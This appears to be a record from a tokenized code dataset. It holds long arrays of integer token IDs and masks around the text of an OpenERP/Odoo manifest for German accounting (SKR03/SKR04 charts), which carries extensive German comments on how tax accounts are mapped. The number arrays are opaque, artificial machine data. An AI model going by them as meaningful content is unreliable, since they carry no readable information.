63, 493, 395, 366, 421, 199, 318, 1218, 63, 1360, 8, 576, 304, 272, 870, 971, 199, 2344, 199, 11230, 16556, 4163, 21755, 21486, 55, 19, 35, 501, 21156, 4163, 841, 14, 614, 19894, 1588, 279, 501, 742, 1743, 199, 28, 1360, 30, 199, 28, 2993, 30, 199, 28, 2024, 1455, 13, 20146, 628, 2714, 13, 804, 2, 1564, 628, 505, 15, 1360, 27, 5960, 29, 7336, 13, 4830, 13, 17, 1743, 199, 28, 1213, 30, 3836, 2291, 1108, 1213, 30, 199, 28, 1579, 730, 534, 505, 15, 9554, 7, 2928, 534, 2859, 921, 1544, 14, 3098, 14, 957, 15, 3596, 1246, 7, 2957, 1579, 30, 199, 28, 1579, 730, 534, 505, 15, 9554, 8423, 199, 199, 3098, 14, 912, 360, 16948, 2072, 297, 283, 17, 297, 469, 5154, 26, 459, 1224, 13678, 27, 199, 3098, 14, 409, 3314, 6200, 2806, 8, 5485, 3186, 2736, 199, 1593, 5954, 3186, 342, 469, 272, 2729, 666, 275, 892, 6233, 14, 16948, 2072, 14, 1451, 3186, 7303, 1449, 339, 1625, 63, 86, 500, 1384, 275, 359, 88, 367, 671, 12, 373, 315, 666, 61, 339, 4021, 63, 1612, 275, 666, 59, 16, 1527, 17, 1055, 1612, 342, 272, 4021, 63, 1612, 14, 3191, 342, 339, 870, 1449, 576, 14, 525, 4547, 360, 875, 297, 283, 24512, 15, 5968, 11339, 2344, 339, 327, 2499, 20868, 4362, 272, 367, 282, 315, 1625, 63, 86, 500, 1384, 26, 267, 870, 298, 576, 14, 525, 4547, 360, 4871, 297, 5522, 435, 282, 435, 298, 358, 9426, 339, 327, 2499, 3589, 2763, 272, 870, 298, 576, 14, 525, 13405, 5234, 339, 327, 2959, 314, 4730, 272, 367, 286, 315, 4021, 63, 1612, 26, 267, 1004, 275, 298, 13890, 83, 4065, 450, 286, 398, 367, 373, 12, 366, 315, 666, 26, 288, 1004, 847, 3872, 5, 83, 2, 450, 620, 8, 68, 59, 67, 6575, 2325, 342, 398, 1004, 847, 298, 20007, 267, 870, 1004, 272, 870, 298, 566, 9426, 339, 870, 971, 199, 2344, 272, 2729, 1817, 275, 892, 6233, 14, 16948, 2072, 14, 3186, 8, 3554, 14, 26215, 360, 1224, 63, 3015, 1333, 27, 267, 1817, 14, 5485, 8, 576, 12, 469, 2384, 5810, 3259, 26, 3055, 32056, 489, 789, 272, 3068, 1579, 30, 523, 3068, 2993, 30, 819, 665, 2030, 30, 272, 665, 72, 18, 30, 10682, 3261, 4882, 367, 1924, 14202, 13, 262, 3068, 72, 18, 30, 339, 665, 72, 19, 30, 18685, 1108, 72, 19, 30, 272, 665, 348, 30, 267, 665, 317, 30, 961, 666, 365, 4046, 687, 27405, 314, 14918, 402, 314, 14202, 13, 262, 14, 267, 665, 317, 30, 7497, 1518, 13, 262, 1471, 986, 519, 14525, 434, 695, 2295, 367, 1924, 19613, 939, 3878, 370, 506, 5120, 2348, 14, 267, 665, 317, 30, 2854, 642, 900, 1006, 14202, 13, 3617, 10532, 787, 5120, 315, 314, 3907, 6117, 465, 2985, 787, 1006, 1551, 1350, 14, 267, 665, 317, 30, 3626, 2346, 787, 4069, 13, 461, 12, 8968, 1406, 370, 4069, 14, 272, 3068, 348, 30, 339, 665, 3015, 1305, 534, 1224, 63, 3015, 7, 2957, 3015, 30, 523, 3068, 2030, 30, 199, 1108, 1360, 30, 199, 2344, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 6572, 275, 942, 339, 340, 822, 8, 1274, 14, 3020, 9, 665, 499, 26, 267, 870, 283, 7093, 26, 3330, 63, 2874, 14, 647, 665, 1144, 63, 2874, 63, 17, 14, 2424, 30, 665, 1144, 63, 2874, 63, 46, 14, 2424, 3072, 78, 60, 78, 7, 267, 870, 283, 16210, 2566, 26, 971, 78, 7, 971, 288, 283, 17, 14, 18146, 314, 1072, 402, 9100, 77, 2764, 1553, 10732, 665, 2253, 3072, 78, 7, 971, 288, 283, 18, 14, 19460, 370, 282, 570, 367, 413, 503, 1655, 6572, 14, 221, 971, 78, 7, 971, 288, 283, 19, 14, 9442, 17169, 1924, 570, 536, 641, 314, 1414, 1004, 367, 642, 971, 78, 7, 971, 288, 283, 257, 11420, 436, 314, 3517, 1072, 911, 506, 31374, 370, 4384, 12619, 60, 78, 60, 78, 7, 267, 870, 283, 7443, 26, 710, 570, 536, 365, 1202, 465, 314, 2763, 1406, 367, 1072, 3530, 272, 367, 289, 315, 984, 14, 3020, 59, 17, 10688, 267, 6572, 14, 740, 8, 1412, 63, 493, 8, 70, 430, 339, 340, 822, 8, 10095, 304, 267, 1218, 63, 1360, 8, 10095, 9, 199, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 18, 199, 199, 3, 1898, 334, 35, 9, 7760, 13, 6965, 9572, 13002, 12, 3277, 14, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 3, 961, 365, 282, 570, 626, 9329, 4704, 3517, 370, 2418, 734, 1314, 883, 2066, 199, 3, 506, 20884, 370, 282, 570, 370, 506, 1202, 641, 314, 2199, 3330, 4770, 367, 3748, 199, 3, 1625, 4534, 14, 199, 199, 646, 984, 199, 646, 747, 14, 515, 421, 199, 318, 2112, 63, 493, 8, 2874, 63, 493, 304, 272, 394, 275, 1551, 8, 2874, 63, 493, 12, 283, 82, 358, 272, 666, 275, 394, 14, 9684, 342, 272, 366, 275, 1052, 339, 367, 634, 315, 666, 26, 267, 334, 75, 12, 373, 9, 275, 634, 59, 16, 6809, 17, 1055, 1294, 20063, 267, 340, 373, 508, 298, 15925, 582, 288, 366, 59, 75, 61, 275, 715, 267, 587, 26, 288, 366, 59, 75, 61, 275, 756, 272, 372, 747, 14, 515, 14, 4846, 8, 2874, 63, 493, 395, 366, 421, 199, 318, 1218, 63, 1360, 8, 576, 304, 272, 870, 971, 199, 2344, 199, 11230, 16556, 4163, 21755, 21486, 55, 19, 35, 501, 21156, 4163, 841, 14, 614, 19894, 1588, 279, 501, 742, 1743, 199, 28, 1360, 30, 199, 28, 2993, 30, 199, 28, 2024, 1455, 13, 20146, 628, 2714, 13, 804, 2, 1564, 628, 505, 15, 1360, 27, 5960, 29, 7336, 13, 4830, 13, 17, 1743, 199, 28, 1213, 30, 3836, 2291, 1108, 1213, 30, 199, 28, 1579, 730, 534, 505, 15, 9554, 7, 2928, 534, 2859, 921, 1544, 14, 3098, 14, 957, 15, 3596, 1246, 7, 2957, 1579, 30, 199, 28, 1579, 730, 534, 505, 15, 9554, 8423, 199, 199, 3098, 14, 912, 360, 16948, 2072, 297, 283, 17, 297, 469, 5154, 26, 459, 1224, 13678, 27, 199, 3098, 14, 409, 3314, 6200, 2806, 8, 5485, 3186, 2736, 199, 1593, 5954, 3186, 342, 469, 272, 2729, 666, 275, 892, 6233, 14, 16948, 2072, 14, 1451, 3186, 7303, 1449, 339, 1625, 63, 86, 500, 1384, 275, 359, 88, 367, 671, 12, 373, 315, 666, 61, 339, 4021, 63, 1612, 275, 666, 59, 16, 1527, 17, 1055, 1612, 342, 272, 4021, 63, 1612, 14, 3191, 342, 339, 870, 1449, 576, 14, 525, 4547, 360, 875, 297, 283, 24512, 15, 5968, 11339, 2344, 339, 327, 2499, 20868, 4362, 272, 367, 282, 315, 1625, 63, 86, 500, 1384, 26, 267, 870, 298, 576, 14, 525, 4547, 360, 4871, 297, 5522, 435, 282, 435, 298, 358, 9426, 339, 327, 2499, 3589, 2763, 272, 870, 298, 576, 14, 525, 13405, 5234, 339, 327, 2959, 314, 4730, 272, 367, 286, 315, 4021, 63, 1612, 26, 267, 1004, 275, 298, 13890, 83, 4065, 450, 286, 398, 367, 373, 12, 366, 315, 666, 26, 288, 1004, 847, 3872, 5, 83, 2, 450, 620, 8, 68, 59, 67, 6575, 2325, 342, 398, 1004, 847, 298, 20007, 267, 870, 1004, 272, 870, 298, 566, 9426, 339, 870, 971, 199, 2344, 272, 2729, 1817, 275, 892, 6233, 14, 16948, 2072, 14, 3186, 8, 3554, 14, 26215, 360, 1224, 63, 3015, 1333, 27, 267, 1817, 14, 5485, 8, 576, 12, 469, 2384, 5810, 3259, 26, 3055, 32056, 489, 789, 272, 3068, 1579, 30, 523, 3068, 2993, 30, 819, 665, 2030, 30, 272, 665, 72, 18, 30, 10682, 3261, 4882, 367, 1924, 14202, 13, 262, 3068, 72, 18, 30, 339, 665, 72, 19, 30, 18685, 1108, 72, 19, 30, 272, 665, 348, 30, 267, 665, 317, 30, 961, 666, 365, 4046, 687, 27405, 314, 14918, 402, 314, 14202, 13, 262, 14, 267, 665, 317, 30, 7497, 1518, 13, 262, 1471, 986, 519, 14525, 434, 695, 2295, 367, 1924, 19613, 939, 3878, 370, 506, 5120, 2348, 14, 267, 665, 317, 30, 2854, 642, 900, 1006, 14202, 13, 3617, 10532, 787, 5120, 315, 314, 3907, 6117, 465, 2985, 787, 1006, 1551, 1350, 14, 267, 665, 317, 30, 3626, 2346, 787, 4069, 13, 461, 12, 8968, 1406, 370, 4069, 14, 272, 3068, 348, 30, 339, 665, 3015, 1305, 534, 1224, 63, 3015, 7, 2957, 3015, 30, 523, 3068, 2030, 30, 199, 1108, 1360, 30, 199, 2344, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 6572, 275, 942, 339, 340, 822, 8, 1274, 14, 3020, 9, 665, 499, 26, 267, 870, 283, 7093, 26, 3330, 63, 2874, 14, 647, 665, 1144, 63, 2874, 63, 17, 14, 2424, 30, 665, 1144, 63, 2874, 63, 46, 14, 2424, 3072, 78, 60, 78, 7, 267, 870, 283, 16210, 2566, 26, 971, 78, 7, 971, 288, 283, 17, 14, 18146, 314, 1072, 402, 9100, 77, 2764, 1553, 10732, 665, 2253, 3072, 78, 7, 971, 288, 283, 18, 14, 19460, 370, 282, 570, 367, 413, 503, 1655, 6572, 14, 221, 971, 78, 7, 971, 288, 283, 19, 14, 9442, 17169, 1924, 570, 536, 641, 314, 1414, 1004, 367, 642, 971, 78, 7, 971, 288, 283, 257, 11420, 436, 314, 3517, 1072, 911, 506, 31374, 370, 4384, 12619, 60, 78, 60, 78, 7, 267, 870, 283, 7443, 26, 710, 570, 536, 365, 1202, 465, 314, 2763, 1406, 367, 1072, 3530, 272, 367, 289, 315, 984, 14, 3020, 59, 17, 10688, 267, 6572, 14, 740, 8, 1412, 63, 493, 8, 70, 430, 339, 340, 822, 8, 10095, 304, 267, 1218, 63, 1360, 8, 10095, 9, 199, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0 ]
npiganeau/odoo
addons/l10n_de/__openerp__.py
170
7816
# -*- encoding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## # SKR03 # ===== # Dieses Modul bietet Ihnen einen deutschen Kontenplan basierend auf dem SKR03. # Gemäss der aktuellen Einstellungen ist die Firma nicht Umsatzsteuerpflichtig. # Diese Grundeinstellung ist sehr einfach zu ändern und bedarf in der Regel # grundsätzlich eine initiale Zuweisung von Steuerkonten zu Produkten und / oder # Sachkonten oder zu Partnern. # Die Umsatzsteuern (voller Steuersatz, reduzierte Steuer und steuerfrei) # sollten bei den Produktstammdaten hinterlegt werden (in Abhängigkeit der # Steuervorschriften). Die Zuordnung erfolgt auf dem Aktenreiter Finanzbuchhaltung # (Kategorie: Umsatzsteuer). # Die Vorsteuern (voller Steuersatz, reduzierte Steuer und steuerfrei) # sollten ebenso bei den Produktstammdaten hinterlegt werden (in Abhängigkeit # der Steuervorschriften). Die Zuordnung erfolgt auf dem Aktenreiter # Finanzbuchhaltung (Kategorie: Vorsteuer). # Die Zuordnung der Steuern für Ein- und Ausfuhren aus EU Ländern, sowie auch # für den Ein- und Verkauf aus und in Drittländer sollten beim Partner # (Lieferant/Kunde)hinterlegt werden (in Anhängigkeit vom Herkunftsland # des Lieferanten/Kunden). Die Zuordnung beim Kunden ist 'höherwertig' als # die Zuordnung bei Produkten und überschreibt diese im Einzelfall. # # Zur Vereinfachung der Steuerausweise und Buchung bei Auslandsgeschäften # erlaubt OpenERP ein generelles Mapping von Steuerausweis und Steuerkonten # (z.B. Zuordnung 'Umsatzsteuer 19%' zu 'steuerfreie Einfuhren aus der EU') # zwecks Zuordnung dieses Mappings zum ausländischen Partner (Kunde/Lieferant). # Die Rechnungsbuchung beim Einkauf bewirkt folgendes: # Die Steuerbemessungsgrundlage (exklusive Steuer) wird ausgewiesen bei den # jeweiligen Kategorien für den Vorsteuer Steuermessbetrag (z.B. Vorsteuer # Steuermessbetrag Voller Steuersatz 19%). # Der Steuerbetrag erscheint unter der Kategorie 'Vorsteuern' (z.B. Vorsteuer # 19%). Durch multidimensionale Hierachien können verschiedene Positionen # zusammengefasst werden und dann in Form eines Reports ausgegeben werden. # # Die Rechnungsbuchung beim Verkauf bewirkt folgendes: # Die Steuerbemessungsgrundlage (exklusive Steuer) wird ausgewiesen bei den # jeweiligen Kategorien für den Umsatzsteuer Steuermessbetrag # (z.B. Umsatzsteuer Steuermessbetrag Voller Steuersatz 19%). # Der Steuerbetrag erscheint unter der Kategorie 'Umsatzsteuer' # (z.B. Umsatzsteuer 19%). Durch multidimensionale Hierachien können # verschiedene Positionen zusammengefasst werden. # Die zugewiesenen Steuerausweise können auf Ebene der einzelnen # Rechnung (Eingangs- und Ausgangsrechnung) nachvollzogen werden, # und dort gegebenenfalls angepasst werden. # Rechnungsgutschriften führen zu einer Korrektur (Gegenposition) # der Steuerbuchung, in Form einer spiegelbildlichen Buchung. # SKR04 # ===== # Dieses Modul bietet Ihnen einen deutschen Kontenplan basierend auf dem SKR04. # Gemäss der aktuellen Einstellungen ist die Firma nicht Umsatzsteuerpflichtig, # d.h. im Standard existiert keine Zuordnung von Produkten und Sachkonten zu # Steuerschlüsseln. # Diese Grundeinstellung ist sehr einfach zu ändern und bedarf in der Regel # grundsätzlich eine initiale Zuweisung von Steuerschlüsseln zu Produkten und / oder # Sachkonten oder zu Partnern. # Die Umsatzsteuern (voller Steuersatz, reduzierte Steuer und steuerfrei) # sollten bei den Produktstammdaten hinterlegt werden (in Abhängigkeit der # Steuervorschriften). Die Zuordnung erfolgt auf dem Aktenreiter Finanzbuchhaltung # (Kategorie: Umsatzsteuer). # Die Vorsteuern (voller Steuersatz, reduzierte Steuer und steuerfrei) # sollten ebenso bei den Produktstammdaten hinterlegt werden (in Abhängigkeit # der Steuervorschriften). Die Zuordnung erfolgt auf dem Aktenreiter # Finanzbuchhaltung (Kategorie: Vorsteuer). # Die Zuordnung der Steuern für Ein- und Ausfuhren aus EU Ländern, sowie auch # für den Ein- und Verkauf aus und in Drittländer sollten beim Partner # (Lieferant/Kunde) hinterlegt werden (in Anhängigkeit vom Herkunftsland # des Lieferanten/Kunden). Die Zuordnung beim Kunden ist 'höherwertig' als # die Zuordnung bei Produkten und überschreibt diese im Einzelfall. # # Zur Vereinfachung der Steuerausweise und Buchung bei Auslandsgeschäften # erlaubt OpenERP ein generelles Mapping von Steuerausweis und Steuerkonten # (z.B. Zuordnung 'Umsatzsteuer 19%' zu 'steuerfreie Einfuhren aus der EU') # zwecks Zuordnung dieses Mappings zum ausländischen Partner (Kunde/Lieferant). # Die Rechnungsbuchung beim Einkauf bewirkt folgendes: # Die Steuerbemessungsgrundlage (exklusive Steuer) wird ausgewiesen bei den # jeweiligen Kategorien für den Vorsteuer Steuermessbetrag (z.B. Vorsteuer # Steuermessbetrag Voller Steuersatz 19%). # Der Steuerbetrag erscheint unter der Kategorie 'Vorsteuern' (z.B. Vorsteuer # 19%). Durch multidimensionale Hierachien können verschiedene Positionen # zusammengefasst werden und dann in Form eines Reports ausgegeben werden. # # Die Rechnungsbuchung beim Verkauf bewirkt folgendes: # Die Steuerbemessungsgrundlage (exklusive Steuer) wird ausgewiesen bei den # jeweiligen Kategorien für den Umsatzsteuer Steuermessbetrag # (z.B. Umsatzsteuer Steuermessbetrag Voller Steuersatz 19%). # Der Steuerbetrag erscheint unter der Kategorie 'Umsatzsteuer' # (z.B. Umsatzsteuer 19%). Durch multidimensionale Hierachien können # verschiedene Positionen zusammengefasst werden. # Die zugewiesenen Steuerausweise können auf Ebene der einzelnen # Rechnung (Eingangs- und Ausgangsrechnung) nachvollzogen werden, # und dort gegebenenfalls angepasst werden. # Rechnungsgutschriften führen zu einer Korrektur (Gegenposition) # der Steuerbuchung, in Form einer spiegelbildlichen Buchung. { 'name': 'Deutschland - Accounting', 'version': '1.0', 'author': 'openbig.org', 'website': 'http://www.openbig.org', 'category': 'Localization/Account Charts', 'description': """ Dieses Modul beinhaltet einen deutschen Kontenrahmen basierend auf dem SKR03. ============================================================================== German accounting chart and localization. """, 'depends': ['base', 'account', 'base_iban', 'base_vat', 'account_chart'], 'demo': [ ], 'data': [ 'account_tax_skr03.xml', 'account_types_skr03.xml', 'account_chart_skr03.xml', 'account_chart_template_skr03.xml', 'account_tax_fiscal_position_skr03.xml', 'account_tax_skr04.xml', 'account_types_skr04.xml', 'account_chart_skr04.xml', 'account_chart_template_skr04.xml', 'account_tax_fiscal_position_skr04.xml', 'l10n_de_wizard.xml', ], 'installable': True, 'images': ['images/config_chart_l10n_de.jpeg','images/l10n_de_chart.jpeg'], } # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2644, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 8664, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 3, 20062, 50, 1644, 199, 3, 9310, 199, 199, 3, 577, 1873, 874, 22035, 348, 330, 1873, 10288, 473, 6164, 287, 325, 262, 287, 477, 14608, 24604, 1804, 265, 724, 5140, 330, 305, 1873, 16479, 282, 1286, 28548, 20062, 50, 1644, 14, 199, 3, 5346, 77, 13733, 385, 16921, 282, 5973, 13086, 552, 662, 262, 1597, 914, 324, 2268, 284, 270, 18833, 481, 723, 391, 302, 1158, 84, 738, 706, 10214, 1597, 14262, 9928, 317, 335, 17277, 14, 199, 3, 577, 1873, 261, 598, 1065, 271, 262, 1597, 914, 10335, 284, 270, 542, 6271, 325, 262, 667, 335, 1315, 85, 13333, 98, 78, 424, 78, 625, 68, 30739, 285, 70, 315, 16921, 799, 24920, 199, 3, 7192, 725, 83, 13733, 3903, 317, 335, 325, 1132, 11023, 1895, 3107, 85, 1129, 374, 10335, 373, 265, 17854, 14262, 75, 265, 724, 1315, 85, 2165, 2033, 75, 724, 625, 68, 1182, 312, 424, 199, 3, 428, 1225, 75, 265, 724, 312, 424, 1315, 85, 31351, 78, 14, 199, 3, 577, 1873, 738, 706, 10214, 1597, 14262, 78, 334, 5650, 1435, 17854, 85, 1192, 10214, 12, 295, 2033, 90, 4446, 266, 17854, 14262, 625, 68, 20345, 14262, 20153, 73, 9, 199, 3, 8597, 76, 724, 32731, 5376, 2165, 2033, 5973, 270, 455, 77, 602, 78, 394, 1058, 274, 3308, 336, 281, 848, 334, 262, 8351, 72, 13733, 2753, 528, 415, 390, 16921, 199, 3, 17854, 14262, 86, 1384, 335, 20546, 724, 680, 577, 1873, 3107, 85, 2181, 78, 10335, 9266, 5900, 3308, 282, 1286, 28548, 437, 75, 724, 264, 1661, 11711, 290, 90, 464, 335, 72, 4478, 10335, 199, 3, 334, 43, 2205, 269, 1873, 26, 738, 706, 10214, 1597, 14262, 680, 199, 3, 577, 1873, 812, 1384, 266, 14262, 78, 334, 5650, 1435, 17854, 85, 1192, 10214, 12, 295, 2033, 90, 4446, 266, 17854, 14262, 625, 68, 20345, 14262, 20153, 73, 9, 199, 3, 8597, 76, 724, 325, 18486, 1152, 32731, 5376, 2165, 2033, 5973, 270, 455, 77, 602, 78, 394, 1058, 274, 3308, 336, 281, 848, 334, 262, 8351, 72, 13733, 2753, 528, 415, 390, 199, 3, 16921, 17854, 14262, 86, 1384, 335, 20546, 724, 680, 577, 1873, 3107, 85, 2181, 78, 10335, 9266, 5900, 3308, 282, 1286, 28548, 437, 75, 724, 264, 1661, 199, 3, 11711, 290, 90, 464, 335, 72, 4478, 10335, 334, 43, 2205, 269, 1873, 26, 812, 1384, 266, 14262, 680, 199, 3, 577, 1873, 3107, 85, 2181, 78, 10335, 16921, 17854, 14262, 78, 289, 17709, 82, 662, 262, 13, 625, 68, 437, 527, 13499, 72, 828, 282, 527, 26007, 491, 13733, 78, 424, 78, 12, 308, 583, 1873, 282, 2133, 199, 3, 289, 17709, 82, 5376, 662, 262, 13, 625, 68, 5444, 7351, 1286, 282, 527, 625, 68, 315, 577, 11133, 5019, 13733, 78, 424, 8597, 76, 724, 506, 1017, 31351, 199, 3, 334, 44, 1873, 2412, 867, 15, 43, 324, 271, 9, 72, 1058, 274, 3308, 336, 281, 848, 334, 262, 1626, 72, 13733, 2753, 528, 415, 390, 373, 676, 18769, 75, 324, 856, 2482, 460, 199, 3, 18618, 491, 1873, 2412, 290, 724, 15, 43, 324, 848, 680, 577, 1873, 3107, 85, 2181, 78, 10335, 506, 1017, 1804, 324, 848, 284, 270, 283, 72, 14614, 2523, 2135, 17277, 7, 741, 83, 199, 3, 18833, 3107, 85, 2181, 78, 10335, 32731, 2165, 2033, 75, 724, 625, 68, 13333, 121, 605, 15820, 264, 1892, 84, 18833, 261, 3416, 662, 262, 806, 276, 452, 14, 199, 3, 199, 3, 3107, 300, 25777, 264, 262, 667, 335, 10335, 16921, 17854, 14262, 65, 527, 1129, 572, 625, 68, 699, 2133, 10335, 32731, 437, 527, 31813, 3389, 335, 13733, 70, 724, 199, 3, 9266, 416, 456, 84, 7653, 325, 262, 15599, 3369, 2978, 12340, 373, 265, 17854, 14262, 65, 527, 1129, 374, 625, 68, 17854, 14262, 75, 265, 724, 199, 3, 334, 90, 14, 34, 14, 3107, 85, 2181, 78, 10335, 283, 53, 706, 10214, 1597, 14262, 5851, 5, 7, 1315, 85, 283, 1597, 14262, 20153, 1873, 662, 4904, 22451, 828, 282, 527, 16921, 26007, 358, 199, 3, 1315, 1129, 5618, 3107, 85, 2181, 78, 10335, 18833, 874, 603, 12020, 1315, 453, 282, 527, 76, 13733, 78, 2297, 24604, 31351, 334, 43, 324, 271, 15, 44, 1873, 2412, 867, 680, 199, 199, 3, 577, 1873, 799, 11019, 324, 458, 464, 335, 10335, 506, 1017, 662, 2292, 65, 1286, 506, 87, 723, 5973, 1699, 2268, 3424, 26, 199, 3, 577, 1873, 17854, 14262, 1235, 17091, 324, 458, 2587, 725, 416, 303, 334, 476, 9503, 85, 3398, 17854, 14262, 9, 336, 5428, 282, 527, 303, 87, 1873, 2464, 32731, 5376, 199, 3, 1335, 546, 69, 1638, 2268, 1804, 2205, 16039, 287, 289, 17709, 82, 5376, 812, 1384, 266, 14262, 17854, 14262, 17091, 9549, 2527, 334, 90, 14, 34, 14, 812, 1384, 266, 14262, 199, 3, 17854, 14262, 17091, 9549, 2527, 16171, 1435, 17854, 85, 1192, 10214, 5851, 5, 680, 199, 3, 18674, 17854, 14262, 9549, 2527, 221 ]
[ 1882, 2644, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 8664, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 3, 20062, 50, 1644, 199, 3, 9310, 199, 199, 3, 577, 1873, 874, 22035, 348, 330, 1873, 10288, 473, 6164, 287, 325, 262, 287, 477, 14608, 24604, 1804, 265, 724, 5140, 330, 305, 1873, 16479, 282, 1286, 28548, 20062, 50, 1644, 14, 199, 3, 5346, 77, 13733, 385, 16921, 282, 5973, 13086, 552, 662, 262, 1597, 914, 324, 2268, 284, 270, 18833, 481, 723, 391, 302, 1158, 84, 738, 706, 10214, 1597, 14262, 9928, 317, 335, 17277, 14, 199, 3, 577, 1873, 261, 598, 1065, 271, 262, 1597, 914, 